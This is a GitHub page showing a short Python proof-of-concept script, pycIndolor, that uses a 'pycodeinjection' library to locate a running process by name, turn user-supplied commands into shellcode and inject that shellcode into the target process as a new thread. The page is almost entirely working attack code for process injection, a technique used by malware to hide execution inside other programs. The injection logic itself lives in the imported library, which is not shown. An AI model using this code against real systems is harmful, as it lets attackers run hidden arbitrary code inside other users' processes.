-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathpycIndolor.py
More file actions
40 lines (31 loc) · 949 Bytes
/
pycIndolor.py
File metadata and controls
40 lines (31 loc) · 949 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
import sys
from pycodeinjection import *
def banner() :
print("""
|________|_____________________|_
| | | | | | | | | | | | | |________________
|________|_P_y_c_I_n_d_o_l_o_r_|_|
| | |
Simple PoC for pycodeinjection library
Proudly developed by Andrea Fortuna
andrea@andreafortuna.org
https://www.andreafortuna.org
""")
def usage():
print ("python " + sys.argv[0] + " <process to inject> <commands to inject>")
banner()
if len(sys.argv) < 3:
usage()
sys.exit(0)
print ("* Search process " + sys.argv[1])
target_pid = getPID(sys.argv[1])
if target_pid == 0:
print ("\tProcess " + sys.argv[1] + " non accessible...exiting!")
sys.exit(0)
print ("* Process found, start injection...")
shellcode = generateShellcode(sys.argv[2])
if injectShellcode(target_pid, shellcode):
print ("\tThread started!")
else:
print ("\tInjection failed")